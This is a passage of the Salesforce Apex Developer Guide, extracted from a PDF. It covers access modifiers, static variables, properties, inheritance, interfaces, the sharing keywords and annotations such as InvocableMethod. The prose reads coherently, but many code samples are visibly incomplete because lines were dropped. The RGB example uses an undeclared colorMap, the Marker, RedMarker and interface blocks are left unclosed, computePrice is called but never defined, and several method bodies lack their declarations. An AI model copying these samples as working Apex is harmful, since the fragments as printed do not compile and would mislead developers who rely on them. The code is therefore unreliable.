Apex Developer Guide Classes, Objects, and Interfaces
When you define a new class, you are defining a new data type. You can use class name in any place you can use other data type names,
such as String, Boolean, or Account. If you define a variable whose type is a class, any object you assign to it must be an instance of that
class or subclass.
Access Modifiers
Apex allows you to use the private, protected, public, and global access modifiers when defining methods and variables.
While triggers and anonymous blocks can also use these access modifiers, they aren’t as useful in smaller portions of Apex. For example,
declaring a method as global in an anonymous block doesn’t enable you to call it from outside of that code.
For more information on class access modifiers, see Apex Class Definition on page 62.
Note: Methods defined in an interface have the same access modifier as the interface (public or global). For more information,
see Interfaces.
By default, a method or variable is visible only to the Apex code within the defining class. Explicitly specify a method or variable as public
in order for it to be available to other classes in the same application namespace (see Namespace Prefix). You can change the level of
visibility by using the following access modifiers:
private
This access modifier is the default, and means that the method or variable is accessible only within the Apex class in which it’s defined.
If you don’t specify an access modifier, the method or variable is private.
protected
This means that the method or variable is visible to any inner classes in the defining Apex class, and to the classes that extend the
defining Apex class. You can only use this access modifier for instance methods and member variables. This setting is strictly more
permissive than the default (private) setting, just like Java.
public
This means that the method or variable is accessible by all Apex within a specific package. For accessibility by all second-generation
(2GP) managed packages that share a namespace, use public with the @NamespaceAccessible annotation. Using the
public access modifier in no-namespace packages implicitly renders the Apex code as @NamespaceAccessible.
Note: In Apex, the public access modifier isn’t the same as it is in Java. This was done to discourage joining applications,
to keep the code for each application separate. In Apex, if you want to make something public like it is in Java, you must use
the global access modifier.
For more information on namespace-based visibility, see Namespace-Based Visibility for Apex Classes in Second-Generation Packages.
global
This means the method or variable can be used by any Apex code that has access to the class, not just the Apex code in the same
application. This access modifier must be used for any method that must be referenced outside of the application, either in SOAP
API or by other Apex code. If you declare a method or variable as global, you must also declare the class that contains it as
global.
Note: We recommend using the global access modifier rarely, if at all. Cross-application dependencies are difficult to
maintain.
68
Apex Developer Guide Classes, Objects, and Interfaces
To use the private, protected, public, or global access modifiers, use the following syntax:
[(none)|private|protected|public|global] declaration
For example:
// private variable s1
private string s1 = '1';
Characteristics
Static methods, variables, and initialization code have these characteristics.
• They’re associated with a class.
• They’re allowed only in outer classes.
• They’re initialized only when a class is loaded.
• They aren’t transmitted as part of the view state for a Visualforce page.
Instance methods, member variables, and initialization code have these characteristics.
• They’re associated with a particular object.
• They have no definition modifier.
• They’re created with every object instantiated from the class in which they’re declared.
Local variables have these characteristics.
• They’re associated with the block of code in which they’re declared.
• They must be initialized before they’re used.
The following example shows a local variable whose scope is the duration of the if code block.
Boolean myCondition = true;
if (myCondition) {
integer localVariable = 10;
}
69
Apex Developer Guide Classes, Objects, and Interfaces
A static variable is static only within the scope of the Apex transaction. It’s not static across the server or the entire organization. The
value of a static variable persists within the context of a single transaction and is reset across transaction boundaries. For example, if an
Apex DML request causes a trigger to fire multiple times, the static variables persist across these trigger invocations.
To store information that is shared across instances of a class, use a static variable. All instances of the same class share a single copy of
the static variable. For example, all triggers that a single transaction spawns can communicate with each other by viewing and updating
static variables in a related class. A recursive trigger can use the value of a class variable to determine when to exit the recursion.
Suppose that you had the following class.
public class P {
public static boolean firstRun = true;
}
A trigger that uses this class could then selectively fail the first run of the trigger.
trigger T1 on Account (before delete, after delete, after undelete) {
if(Trigger.isBefore){
if(Trigger.isDelete){
if(p.firstRun){
Trigger.old[0].addError('Before Account Delete Error');
p.firstRun=false;
}
}
}
}
A static variable defined in a trigger doesn't retain its value between different trigger contexts within the same transaction, such as
between before insert and after insert invocations. Instead, define the static variables in a class so that the trigger can access these class
member variables and check their static values.
A class static variable can’t be accessed through an instance of that class. If class MyClass has a static variable myStaticVariable,
and myClassInstance is an instance of MyClass, myClassInstance.myStaticVariable isn’t a legal expression.
The same is true for instance methods. If myStaticMethod() is a static method, myClassInstance.myStaticMethod()
isn’t legal. Instead, refer to those static identifiers using the class: MyClass.myStaticVariable and
MyClass.myStaticMethod().
Local variable names are evaluated before class names. If a local variable has the same name as a class, the local variable hides methods
and variables on the class of the same name. For example, this method works if you comment out the String line. But if the String
line is included the method doesn’t compile, because Salesforce reports that the method doesn’t exist or has an incorrect signature.
public static void method() {
String Database = '';
Database.insert(new Account());
}
An inner class behaves like a static Java inner class, but doesn’t require the static keyword. An inner class can have instance member
variables like an outer class, but there’s no implicit pointer to an instance of the outer class (using the this keyword).
Note: In API version 20.0 and earlier, if a Bulk API request causes a trigger to fire, each chunk of 200 records for the trigger to
process is split into chunks of 100 records. In Salesforce API version 21.0 and later, no further splits of API chunks occur. If a Bulk
API request causes a trigger to fire multiple times for chunks of 200 records, governor limits are reset between these trigger
invocations for the same HTTP request. Static variables aren’t reset within the multiple trigger invocations for the same Bulk API
request.
70
Apex Developer Guide Classes, Objects, and Interfaces
Point(Double x, Double y) {
this.x = x;
this.y = y;
}
Double getXCoordinate() {
return x;
}
Double getYCoordinate() {
return y;
}
}
// The following method takes the list of points and does something with them
public void render() {
}
}
//code body
The instance initialization code in a class is executed each time an object is instantiated from that class. These code blocks run before
the constructor.
If you don’t want to write your own constructor for a class, you can use an instance initialization code block to initialize instance variables.
In simple situations, use an ordinary initializer. Reserve initialization code for complex situations, such as initializing a static map. A static
initialization block runs only one time, regardless of how many times you access the class that contains it.
71
Apex Developer Guide Classes, Objects, and Interfaces
Static initialization code is a block of code preceded with the keyword static.
static {
//code body
Similar to other static code, a static initialization code block is only initialized one time on the first use of the class.
A class can have any number of either static or instance initialization code blocks. They can appear anywhere in the code body. The code
blocks are executed in the order in which they appear in the file, just as they are in Java.
You can use static initialization code to initialize static final variables and to declare information that’s static, such as a map of values. For
example:
public class MyClass {
class RGB {
Integer red;
Integer green;
Integer blue;
static {
colorMap.put('red', new RGB(255, 0, 0));
colorMap.put('cyan', new RGB(0, 255, 255));
colorMap.put('magenta', new RGB(255, 0, 255));
}
}
Apex Properties
An Apex property is similar to a variable; however, you can do additional things in your code to a property value before it’s accessed or
returned. Properties can be used to validate data before a change is made, to prompt an action when data is changed (such as altering
the value of other member variables), or to expose data that is retrieved from some other source (such as another class).
Property definitions include one or two code blocks, representing a get accessor and a set accessor:
• The code in a get accessor executes when the property is read.
• The code in a set accessor executes when the property is assigned a new value.
72
Apex Developer Guide Classes, Objects, and Interfaces
If a property has only a get accessor, it’s considered read-only. If a property has only a set accessor, it’s considered write-only. A property
with both accessors is considered read-write.
To declare a property, use the following syntax in the body of a class:
Public class BasicClass {
// Property declaration
access_modifier return_type property_name {
get {
//Get accessor code block
}
set {
//Set accessor code block
}
}
}
Where:
• access_modifier is the access modifier for the property. The access modifiers that can be applied to properties include:
public, private, global, and protected. In addition, these definition modifiers can be applied: static and
transient. For more information on access modifiers, see Access Modifiers on page 68.
• return_type is the type of the property, such as Integer, Double, sObject, and so on. For more information, see Data Types on
page 24.
• property_name is the name of the property
For example, the following class defines a property named prop. The property is public. The property returns an integer data type.
public class BasicProperty {
public integer prop {
get { return prop; }
set { prop = value; }
}
}
The following code segment calls the BasicProperty class, exercising the get and set accessors:
BasicProperty bp = new BasicProperty();
bp.prop = 5; // Calls set accessor
System.assertEquals(5, bp.prop); // Calls get accessor
73
Apex Developer Guide Classes, Objects, and Interfaces
• Apex properties are based on their counterparts in C#, with the following differences:
– Properties provide storage for values directly. You don’t need to create supporting members for storing values.
– It’s possible to create automatic properties in Apex. For more information, see Using Automatic Properties on page 74.
The following code segment calls the static and instance properties:
StaticProperty sp = new StaticProperty();
// The following produces a system error: a static variable cannot be
// accessed through an object instance
// sp.MyGoodStaticProp = 5;
74
Apex Developer Guide Classes, Objects, and Interfaces
Extending a Class
You can extend a class to provide more specialized behavior.
A class that extends another class inherits all the methods and properties of the extended class. In addition, the extending class can
override the existing virtual methods by using the override keyword in the method definition. Overriding a virtual method allows you
to provide a different implementation for an existing method. This means that the behavior of a particular method is different based on
the object you’re calling it on. This is referred to as polymorphism.
A class extends another class using the extends keyword in the class definition. A class can only extend one other class, but it can
implement more than one interface.
This example shows how the YellowMarker class extends the Marker class. To run the inheritance examples in this section, first
create the Marker class.
public virtual class Marker {
public virtual void write() {
System.debug('Writing some text.');
}
Then create the YellowMarker class, which extends the Marker class.
// Extension for the Marker class
public class YellowMarker extends Marker {
public override void write() {
System.debug('Writing some text using the yellow marker.');
}
}
This code segment shows polymorphism. The example declares two objects of the same type (Marker). Even though both objects
are markers, the second object is assigned to an instance of the YellowMarker class. Hence, calling the write method on it yields
75
Apex Developer Guide Classes, Objects, and Interfaces
a different result than calling this method on the first object, because this method has been overridden. However, you can call the
discount method on the second object even though this method isn't part of the YellowMarker class definition. But it’s part
of the extended class, and hence, is available to the extending class, YellowMarker. Run this snippet in the Execute Anonymous
window of the Developer Console.
Marker obj1, obj2;
obj1 = new Marker();
// This outputs 'Writing some text.'
obj1.write();
The extending class can have more method definitions that aren't common with the original extended class. In this example, the
RedMarker class extends the Marker class and has one extra method, computePrice, that isn't available for the Marker
class. To call the extra methods, the object type must be the extending class.
Before running the next snippet, create the RedMarker class, which requires the Marker class in your org.
// Extension for the Marker class
public class RedMarker extends Marker {
public override void write() {
System.debug('Writing some text in red.');
}
This snippet shows how to call the additional method on the RedMarker class. Run this snippet in the Execute Anonymous window
of the Developer Console.
RedMarker obj = new RedMarker();
// Call method specific to RedMarker only
Double price = obj.computePrice();
Extensions also apply to interfaces—an interface can extend another interface. As with classes, when an interface extends another
interface, all the methods and properties of the extended interface are available to the extending interface.
76
Apex Developer Guide Classes, Objects, and Interfaces
// Inner interface
public virtual interface MyInterface {
// Interface extension
interface MySecondInterface extends MyInterface {
Integer method2(Integer i);
}
77
Apex Developer Guide Classes, Objects, and Interfaces
// Abstract class (that subclasses the class above). No constructor is needed since
// parent class has a no-argument constructor
public abstract class AbstractChildClass extends InnerClass {
78
Apex Developer Guide Classes, Objects, and Interfaces
79
Apex Developer Guide Classes, Objects, and Interfaces
// Define a variable with an interface data type, and assign it a value that is of
// a type that implements that interface
OuterClass.MyInterface mi = ic;
Interfaces
An interface is like a class in which none of the methods have been implemented—the method signatures are there, but the body of
each method is empty. To use an interface, another class must implement it by providing a body for all of the methods contained in the
interface.
Interfaces can provide a layer of abstraction to your code. They separate the specific implementation of a method from the declaration
for that method. This way you can have different implementations of a method based on your specific application.
Defining an interface is similar to defining a new class. For example, a company can have two types of purchase orders, ones that come
from customers, and others that come from their employees. Both are a type of purchase order. Suppose you needed a method to
provide a discount. The amount of the discount can depend on the type of purchase order.
80
Apex Developer Guide Classes, Objects, and Interfaces
You can model the general concept of a purchase order as an interface and have specific implementations for customers and employees.
In the following example the focus is only on the discount aspect of a purchase order.
Here’s the definition of the PurchaseOrder interface.
// An interface that defines what a purchase order looks like in general
public interface PurchaseOrder {
// All other functionality excluded
Double discount();
}
This class implements the PurchaseOrder interface for customer purchase orders.
// One implementation of the interface for customers
public class CustomerPurchaseOrder implements PurchaseOrder {
public Double discount() {
return .05; // Flat 5% discount
}
}
This class implements the PurchaseOrder interface for employee purchase orders.
// Another implementation of the interface for employees
public class EmployeePurchaseOrder implements PurchaseOrder {
public Double discount() {
return .10; // It’s worth it being an employee! 10% discount
}
}
Note: You can’t add a method to a global interface after the class has been uploaded in a Managed - Released package version.
1. Custom Iterators
81
Apex Developer Guide Classes, Objects, and Interfaces
Custom Iterators
An iterator traverses through every item in a collection. For example, in a procedural loop, you define a condition for exiting the loop,
and you must provide some means of traversing the collection, that is, an iterator. In this example, count is incremented by 1 every
time the loop is executed.
while (count < 11) {
System.debug(count);
count++;
}
Using the Iterator interface you can create a custom set of instructions for traversing a List through a loop. The iterator is useful for
data that exists in sources outside of Salesforce that you would normally define the scope of using a SELECT statement. Iterators can
also be used if you have multiple SELECT statements.
while(x.hasNext()){
system.debug(x.next());
}
The iterator method must be declared as global or public. It creates a reference to the iterator that you can then use to
traverse the data structure.
82
Apex Developer Guide Classes, Objects, and Interfaces
83
Apex Developer Guide Classes, Objects, and Interfaces
Keywords
Apex provides the keywords final, instanceof, super, this, transient, with sharing and without sharing.
SEE ALSO:
Reserved Keywords
SEE ALSO:
Extended Class Example
84
Apex Developer Guide Classes, Objects, and Interfaces
Implementation Considerations
Keep these considerations in mind while using the instanceof keyword.
• If the declared type on the left of the expression using the instanceof keyword is always an instance of the target type,
compilation fails. An example expression that’s always true and therefore causes a compilation error.
Account acc = new Account();
if(acc instanceOf Account) {
//condition is always true since an instance of Account is always an instance of
Account
}
• When you perform instanceof checks, implicit type casting from String to ID can result in unexpected behavior if the String
meets the requirements to be cast to an ID.
In API version 32.0 and later, instanceof returns false if the left operand is a null object. In API version 31.0 and earlier,
instanceof returns true in this case. For example, the code sample returns false in API version 32.0 and later.
Object o = null;
Boolean result = o instanceof Account;
System.assertEquals(false, result);
public SuperClass() {
mySalutation = 'Mr.';
myFirstName = 'Carl';
myLastName = 'Vonderburg';
}
85
Apex Developer Guide Classes, Objects, and Interfaces
mySalutation = salutation;
myFirstName = firstName;
myLastName = lastName;
}
You can create the following class that extends Superclass and overrides its printName method:
public class Subclass extends Superclass {
public override void printName() {
super.printName();
System.debug('But you can call me ' + super.getFirstName());
}
}
The expected output when calling Subclass.printName is My name is Mr. Vonderburg. But you can call
me Carl.
You can also use super to call constructors. Add the following constructor to SubClass:
public Subclass() {
super('Madam', 'Brenda', 'Clapentrap');
}
Now, the expected output of Subclass.printName is My name is Madam Clapentrap. But you can call
me Brenda.
string s;
{
this.s = 'TestString';
86
Apex Developer Guide Classes, Objects, and Interfaces
}
}
In the above example, the class myTestThis declares an instance variable s. The initialization code populates the variable using the
this keyword.
Or you can use the this keyword to do constructor chaining, that is, in one constructor, call another constructor. In this format, use
the this keyword with parentheses. For example:
public class testThis {
When you use the this keyword in a constructor to do constructor chaining, it must be the first statement in the constructor.
You can also use the transient keyword in Apex classes that are serializable, namely in controllers, controller extensions, or classes
that implement the Batchable or Schedulable interface. In addition, you can use transient in classes that define the types
of fields declared in the serializable classes.
Declaring variables as transient reduces view state size. A common use case for the transient keyword is a field on a Visualforce
page that is needed only for the duration of a page request, but should not be part of the page's view state and would use too many
system resources to be recomputed many times during a request.
Some Apex objects are automatically considered transient, that is, their value does not get saved as part of the page's view state. These
objects include the following:
• PageReferences
• XmlStream classes
• Collections automatically marked as transient only if the type of object that they hold is automatically marked as transient, such as
a collection of Savepoints
• Most of the objects generated by system methods, such as Schema.getGlobalDescribe.
• JSONParser class instances.
Static variables also don't get transmitted through the view state.
87
Apex Developer Guide Classes, Objects, and Interfaces
The following example contains both a Visualforce page and a custom controller. Clicking the refresh button on the page causes the
transient date to be updated because it is being recreated each time the page is refreshed. The non-transient date continues to have
its original value, which has been deserialized from the view state, so it remains the same.
<apex:page controller="ExampleController">
T1: {!t1} <br/>
T2: {!t2} <br/>
<apex:form>
<apex:commandLink value="refresh"/>
</apex:form>
</apex:page>
DateTime t1;
transient DateTime t2;
SEE ALSO:
Apex Reference Guide: JSONParser Class
Using the with sharing, without sharing, and inherited sharing Keywords
Use the with sharing or without sharing keywords on a class to specify whether sharing rules must be enforced. Use the
inherited sharing keyword on a class to run the class in the sharing mode of the class that called it.
With Sharing
Use the with sharing keyword when declaring a class to enforce sharing rules of the current user. Explicitly setting this keyword
ensures that Apex code runs in the current user context. Apex code that is executed with the executeAnonymous call and Connect
in Apex always execute using the sharing rules of the current user. For more information on executeAnonymous, see Anonymous
Blocks on page 240.
Use the with sharing keywords when declaring a class to enforce the sharing rules that apply to the current user. For example:
public with sharing class sharingClass {
// Code here
88
Apex Developer Guide Classes, Objects, and Interfaces
Without Sharing
Use the without sharing keyword when declaring a class to ensure that the sharing rules for the current user aren’t enforced.
For example, to turn off sharing rule enforcement for a class that’s called by a class that has sharing rules enforced, use the without
sharing keyword on the called class.
// Code here
Inherited Sharing
Use the inherited sharing keyword when declaring a class to enforce the sharing rules of the class that calls it. Using
inherited sharing is an advanced technique to determine the sharing mode at runtime and design Apex classes that can run
in either with sharing or without sharing mode.
Warning: Because the sharing mode is determined at runtime, you must take extreme care to ensure that your Apex code is
secure to run in both with sharing and without sharing modes.
Using inherited sharing, along with other appropriate security checks, facilitates in passing AppExchange security review and
ensures that your privileged Apex code isn’t used in unexpected or insecure ways. An Apex class with inherited sharing runs
as with sharing when used as:
• An Aura component controller
• A Visualforce controller
• An Apex REST service
• Any other entry point to an Apex transaction such as an asynchronous Apex class.
There’s a distinct difference between an Apex class that is marked with inherited sharing and one with an omitted sharing
declaration. If the class is used as the entry point to an Apex transaction, an omitted sharing declaration runs as without sharing.
However, inherited sharing ensures that the default is to run as with sharing. A class declared as inherited
sharing runs as without sharing only when explicitly called from an already established without sharing context.
Example: This example declares an Apex class with inherited sharing and a Visualforce invocation of that Apex code.
Because of the inherited sharing declaration, only contacts for which the running user has sharing access are displayed.
If the declaration is omitted, contacts that the user has no rights to view are displayed due to the insecure default behavior.
public inherited sharing class InheritedSharingClass {
public List<Contact> getAllTheSecrets() {
return [SELECT Name FROM Contact];
}
}
<apex:page controller="InheritedSharingClass">
<apex:repeat value="{!allTheSecrets}" var="record">
{!record.Name}
</apex:repeat>
</apex:page>
89
Apex Developer Guide Classes, Objects, and Interfaces
Implementation Details
• The sharing setting of the class where a method is defined is applied, not of the class where the method is called from. For example,
if a method is defined in a class declared as with sharing is called by a class declared as without sharing, the method
executes with sharing rules enforced.
• If a class isn’t explicitly declared as either with sharing or without sharing, the current sharing rules remain in effect.
Therefore, the class doesn’t enforce sharing rules except when it acquires sharing rules from another class. For example, if the class
is called by another class that has sharing enforced, then sharing is enforced for the called class.
• Both inner classes and outer classes can be declared as with sharing. Inner classes do not inherit the sharing setting from their
container class. Otherwise, the sharing setting applies to all code contained in the class, including initialization code, constructors,
and methods.
• Classes inherit sharing setting from a parent class when one class extends another.
• Apex triggers can’t have an explicit sharing declaration and run as without sharing.
• Asynchronous Apex classes defined with inherited sharing always run in with sharing mode for asynchronous
operations. Each asynchronous operation is a new entry point and the sharing mode is not serialized.
Best Practices
Apex without an explicit sharing declaration is insecure by default. We strongly recommend that you always specify a sharing declaration
for a class.
Regardless of the sharing mode, object-level access and field-level security are not enforced by Apex. You must enforce object-level
access and field-level security in your SOQL queries or code. For example, with sharing mechanism doesn’t enforce user’s access
to view reports and dashboards. You must explicitly enforce running user’s CRUD (Create, Read, Update, Delete) and field-level security
in your code. See Enforcing Object and Field Permissions.
without sharing Use this mode with caution. Ensure that you don’t inadvertently
expose sensitive data that would normally be hidden by the sharing
model. This sharing mechanism is best used to grant targeted
elevation of sharing privileges to the current user.
For example, use without sharing to allow community
users to read records to which they wouldn’t otherwise have access.
inherited sharing Use this mode for service classes that have to be flexible and
support use cases with different sharing modes while also
defaulting to the more secure with sharing mode.
Annotations
An Apex annotation modifies the way that a method or class is used, similar to annotations in Java. Annotations are defined with an
initial @ symbol, followed by the appropriate keyword.
90
Apex Developer Guide Classes, Objects, and Interfaces
To add an annotation to a method, specify it immediately before the method or class definition. For example:
1. AuraEnabled Annotation
2. Deprecated Annotation
3. Future Annotation
4. InvocableMethod Annotation
Use the InvocableMethod annotation to identify methods that can be run as invocable actions.
5. InvocableVariable Annotation
To identify variables used by invocable methods in custom classes, use the InvocableVariable annotation.
6. IsTest Annotation
91
Apex Developer Guide Classes, Objects, and Interfaces
7. JsonAccess Annotation
The @JsonAccess annotation defined at Apex class level controls whether instances of the class can be serialized or deserialized.
If the annotation restricts the JSON or XML serialization and deserialization, a runtime JSONException exception is thrown.
8. NamespaceAccessible Annotation
9. ReadOnly Annotation
10. RemoteAction Annotation
11. SuppressWarnings Annotation
This annotation does nothing in Apex but can be used to provide information to third-party tools.
12. TestSetup Annotation
Methods defined with the @TestSetup annotation are used for creating common test records that are available for all test
methods in the class.
13. TestVisible Annotation
AuraEnabled Annotation
The @AuraEnabled annotation enables client-side and server-side access to an Apex controller method. Providing this annotation
makes your methods available to your Lightning components (both Lightning web components and Aura components). Only methods
with this annotation are exposed.
In API version 44.0 and later, you can improve runtime performance by caching method results on the client by using the annotation
@AuraEnabled(cacheable=true). You can cache method results only for methods that retrieve data but don’t modify it.
Using this annotation eliminates the need to call setStorable() in JavaScript code on every action that calls the Apex method.
In API version 55.0 and later, you can use the annotation @AuraEnabled(cacheable=true scope='global') to enable
Apex methods to be cached in a global cache.
For more information, see Lightning Aura Components Developer Guide and Lightning Web Components Developer Guide.
Deprecated Annotation
Use the Deprecated annotation to identify methods, classes, exceptions, enums, interfaces, or variables that can no longer be
referenced in subsequent releases of the managed package in which they reside. This annotation is useful when you’re refactoring code
in managed packages as the requirements evolve. New subscribers can’t see the deprecated elements, while the elements continue to
function for existing subscribers and API integrations.
The following code snippet shows a deprecated method. The same syntax can be used to deprecate classes, exceptions, enums, interfaces,
or variables.
@Deprecated
// This method is deprecated. Use myOptimizedMethod(String a, String b) instead.
global void myMethod(String a) {
92
Apex Developer Guide Classes, Objects, and Interfaces
• When an Apex item is deprecated, all global access modifiers that reference the deprecated identifier must also be deprecated.
Any global method that uses the deprecated type in its signature, either in an input argument or the method return type, must also
be deprecated. A deprecated item, such as a method or a class, can still be referenced internally by the package developer.
• webservice methods and variables can’t be deprecated.
• You can deprecate an enum but you can’t deprecate individual enum values.
• You can deprecate an interface but you can’t deprecate individual methods in an interface.
• You can deprecate an abstract class but you can’t deprecate individual abstract methods in an abstract class.
• You can’t remove the Deprecated annotation to undeprecate something in Apex after you’ve released a package version where
that item in Apex is deprecated.
For more information about package versions, see What is a Package? on page 714.
Future Annotation
Use the Future annotation to identify methods that are executed asynchronously. When you specify Future, the method executes
when Salesforce has available resources.
For example, you can use the Future annotation when making an asynchronous Web service callout to an external service. Without
the annotation, the Web service callout is made from the same thread that is executing the Apex code, and no additional processing
can occur until the callout is complete (synchronous processing).
Methods with the Future annotation must be static methods, and can only return a void type. The specified parameters must be
primitive data types, arrays of primitive data types, or collections of primitive data types. Methods with the Future annotation can’t
take sObjects or objects as arguments.
To make a method in a class execute asynchronously, define the method with the Future annotation. For example:
global class MyFutureClass {
@Future
static void myMethod(String a, Integer i) {
System.debug('Method called with: ' + a + ' and ' + i);
// Perform long-running code
}
}
To allow callouts in a Future method, specify (callout=true). The default is (callout=false), which prevents a method
from making callouts.
The following snippet shows how to specify that a method executes a callout:
@Future (callout=true)
public static void doCalloutFromFuture() {
//Add code to perform callout
}
93
Apex Developer Guide Classes, Objects, and Interfaces
• You can’t call a method annotated with Future from a method that also has the Future annotation. Nor can you call a trigger
from an annotated method that calls another annotated method.
InvocableMethod Annotation
Use the InvocableMethod annotation to identify methods that can be run as invocable actions.
Note: If a flow invokes Apex, the running user must have the corresponding Apex class security set in their user profile or permission
set.
Invocable methods are called natively from Rest, Apex, Flow, Agentforce agents or Einstein bots that interacts with the external API
source. Invocable methods have dynamic input and output values and support describe calls.
This code sample shows an invocable method with primitive data types.
public class AccountQueryAction {
@InvocableMethod(label='Get Account Names' description='Returns the list of account names
corresponding to the specified account IDs.' category='Account')
public static List<String> getAccountNames(List<ID> ids) {
List<Account> accounts = [SELECT Name FROM Account WHERE Id in :ids];
Map<ID, String> idToName = new Map<ID, String>();
for (Account account : accounts) {
idToName.put(account.Id, account.Name);
}
// put each name in the output at the same position as the id in the input
List<String> accountNames = new List<String>();
for (String id : ids) {
accountNames.add(idToName.get(id));
}
return accountNames;
}
}
This code sample shows an invocable method with a specific sObject data type.
public class AccountInsertAction {
@InvocableMethod(label = 'Insert Accounts' description='Inserts the accounts specified
and returns the IDs of the new accounts or null if account is failed to create.' category
= 'Account')
public static List<ID> insertAccounts(List<Account> accounts) {
Database.SaveResult[] results = Database.insert(accounts, false);
List<ID> accountIds = new List<ID>();
return accountIds;
}
}
94
Apex Developer Guide Classes, Objects, and Interfaces
This code sample shows an invocable method with the generic sObject data type.
public with sharing class GetFirstFromCollection {
@InvocableMethod
public static List<Results> execute (List<Requests> requestList) {
List<Results> results = new List<Results>();
for (Requests request : requestList) {
List<SObject> inputCollection = request.inputCollection;
SObject outputMember = inputCollection[0];
//Add Result to the results List at the same position as the request is in the
requests List
results.add(result);
}
return results;
}
This code sample shows an invocable method with a custom icon from an SVG file.
global class CustomSvgIcon {
@InvocableMethod(label='myIcon' iconName='resource:myPackageNamespace__google:top')
global static List<Integer> myMethod(List<Integer> request) {
List<Integer> results = new List<Integer>();
for(Integer reqInt : request) {
results.add(reqInt);
}
return results;
}
}
This code sample shows an invocable method with a custom icon from the Salesforce Lightning Design System (SLDS).
public class CustomSldsIcon {
@InvocableMethod(iconName='slds:standard:choice')
public static void run() {}
95
Apex Developer Guide Classes, Objects, and Interfaces
To handle exceptions within an invocable method, wrap the results in an Apex object that reports failures. The execution of the invocable
method must run and return the same number of results as inputs received even if errors occur.
For example, this code sample adjusts positive values by taking their square root and multiplying by pi, setting a success flag to true.
For negative values, it sets the success flag to false.
global class AdjustPositiveValuesAction {
@InvocableMethod(label='Adjust Positive Values' description='Returns the list of adjusted
values. If a number is negative, a failure is reported for that value.')
try {
// Adjust the value, scale by pi.
// Note: If the value is negative, this operation throws an exception.
result.adjustedValue = Math.sqrt(value) * Math.PI;
result.adjustmentSucceeded = true;
}
catch (Exception e) {
// If a negative value caused an exception, mark the adjustment as failed, and keep
processing other values.
result.adjustmentSucceeded = false;
}
results.add(result);
}
return results;
}
This test method checks whether the value adjustments were successful and verifies the calculated values for positive inputs.
// Test class for AdjustPositiveValuesAction
@isTest
private class AdjustPositiveValuesActionTest {
private static testMethod void doTest() {
// Create a list of test values: 4, -1, 1
List<Double> values = new List<Double>();
values.add(4);
values.add(-1);
96
Apex Developer Guide Classes, Objects, and Interfaces
values.add(1);
Test.startTest();
Test.stopTest();
// Assertions to check if adjustments were successful or not for each input value.
system.assertEquals(true, results[0].adjustmentSucceeded);
system.assertEquals(false, results[1].adjustmentSucceeded);
system.assertEquals(true, results[2].adjustmentSucceeded);
Supported Modifiers
All modifiers are optional.
label
The label for the method, which appears as the action name in Flow Builder. The default is the method name, though we recommend
that you provide a label.
description
The description for the method, which appears as the action description in Flow Builder. The default is Null.
callout
The callout modifier identifies whether the method calls to an external system. If the method calls to an external system, add
callout=true. The default value is false.
capabilityType
The capability that integrates with the method. The valid format is Name://Name, for example:
PromptTemplateType://SalesEmail
category
The category for the method, which appears as the action category in Flow Builder. If no category is provided (by default), actions
appear under Uncategorized.
configurationEditor
The custom property editor that is registered with the method and appears in Flow Builder when an admin configures the action.
If you don’t specify this modifier, Flow Builder uses the standard property editor.
iconName
The name of the icon to use as a custom icon for the action in the Flow Builder canvas. You can specify an SVG file that you uploaded
as a static resource or a Salesforce Lightning Design System standard icon.
97
Apex Developer Guide Classes, Objects, and Interfaces
InvocableMethod Considerations
Implementation Notes
• The invocable method must be static and public or global, and its class must be an outer class.
• Only one method in a class can have the InvocableMethod annotation.
• Other annotations can’t be used with the InvocableMethod annotation.
Inputs and Outputs
There can be at most one input parameter and its data type must be one of the following:
• A list of a primitive data type or a list of lists of a primitive data type – the generic Object type isn’t supported.
• A list of an sObject type or a list of lists of an sObject type.
• A list of the generic sObject type (List<sObject>) or a list of lists of the generic sObject type (List<List<sObject>>).
• A list of a user-defined type, containing variables of the supported types or user-defined Apex types, with the
InvocableVariable annotation. To implement your data type, create a custom global or public Apex class. The class
must contain at least one member variable with the invocable variable annotation.
If the return type isn’t Null, the data type returned by the method must be one of the following:
• A list of a primitive data type or a list of lists of a primitive data type – the generic Object type isn’t supported.
• A list of an sObject type or a list of lists of an sObject type.
• A list of the generic sObject type (List<sObject>) or a list of lists of the generic sObject type (List<List<sObject>>).
• A list of a user-defined type, containing variables of the supported types or user-defined Apex types, with the
InvocableVariable annotation. To implement your data type, create a custom global or public Apex class. The class
must contain at least one member variable with the invocable variable annotation.
Note: For a correct bulkification implementation, the Inputs and Outputs must match on both the size and the order. For
example, the i-th Output entry must correspond to the i-th Input entry. Matching entries are required for data correctness
when your action is in bulkified execution, such as when an apex action is used in a record trigger flow.
Managed Packages
• You can use invocable methods in packages, but after you add an invocable method you can’t remove it from later versions of
the package.
• Public invocable methods can be referred to by flows and processes within the managed package.
• Global invocable methods can be referred to anywhere in the subscriber org. Only global invocable methods appear in Flow
Builder and Process Builder in the subscriber org.
For more information about invocable actions, see the Actions Developer Guide.
SEE ALSO:
InvocableVariable Annotation
Actions Developer Guide: Apex Actions
REST API Developer Guide: Invocable Actions
Salesforce Help: Add a Custom Icon to an Apex-Defined Action
Apex Reference Guide: Action Class
Lightning Web Components Developer Guide: Develop Custom Property Editors for Flow Builder
Prompt Builder: Ground with Apex
Making Callouts to External Systems from Invocable Actions
98
Apex Developer Guide Classes, Objects, and Interfaces
InvocableVariable Annotation
To identify variables used by invocable methods in custom classes, use the InvocableVariable annotation.
The InvocableVariable annotation identifies a class variable used as an input or output parameter for an InvocableMethod
method’s invocable action. If you create your own custom class to use as the input or output to an invocable method, you can annotate
individual class member variables to make them available to the method.
This code sample shows an invocable method with invocable variables.
global class ConvertLeadAction {
@InvocableMethod(label='Convert Leads')
global static List<ConvertLeadActionResult> convertLeads(List<ConvertLeadActionRequest>
requests) {
List<ConvertLeadActionResult> results = new List<ConvertLeadActionResult>();
for (ConvertLeadActionRequest request : requests) {
results.add(convertLead(request));
}
return results;
}
if (request.accountId != null) {
lc.setAccountId(request.accountId);
}
if (request.contactId != null) {
lc.setContactId(request.contactId);
}
if (request.opportunityName != null) {
lc.setOpportunityName(request.opportunityName);
}
if (request.ownerId != null) {
lc.setOwnerId(request.ownerId);
}
99
Apex Developer Guide Classes, Objects, and Interfaces
@InvocableVariable(required=true)
global String convertedStatus;
@InvocableVariable
global ID accountId;
@InvocableVariable
global ID contactId;
@InvocableVariable
global Boolean overWriteLeadSource;
@InvocableVariable
global Boolean createOpportunity;
@InvocableVariable
global String opportunityName;
@InvocableVariable
global ID ownerId;
@InvocableVariable
global Boolean sendEmailToOwner;
}
@InvocableVariable
global ID contactId;
@InvocableVariable
